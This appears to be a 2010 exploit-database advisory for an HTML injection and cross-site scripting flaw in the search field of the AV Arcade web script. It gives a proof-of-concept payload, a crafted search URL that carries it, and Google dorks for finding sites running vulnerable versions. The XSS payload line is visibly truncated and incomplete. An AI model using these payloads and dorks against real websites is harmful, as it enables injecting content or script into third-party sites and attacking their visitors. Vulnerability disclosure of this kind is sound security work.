AV Arcade Cross Site Scripting

`# Exploit Title: AV Arcade Search Field XSS/HTML Injection  
# Date: 6/5/2010  
# Author: Vadim Toptunov, http://www.twitter.com/pentesting  
# Software Link: http://www.avscripts.net/avarcade/  
# Version: 5.1.4 Free and Pro (latest) and prior  
# Tested on: Any NIX  
# CVE : N/a  
# Code : below  
  
Description:  
AV arcade is a free arcade script from AV Scripts. It has features  
which easily match those of paid scripts.  
  
POC: Go to search field and query those strings:  
  
HTML Injection: "><marquee>hey, this works!</marquee>  
XSS: ">  
  
Example:  
http://www.demosite.com/index.php?task=search&q="><marquee>hey, this  
works!</marquee>  
http://www.demosite.com/index.php?task=search&q=">  
  
Dorks:  
"Powered by AV Arcade v3"  
"Powered by AV Arcade v4"  
"Powered by AV Arcade Free Edition"  
"Powered by AV Arcade Pro"  
  
`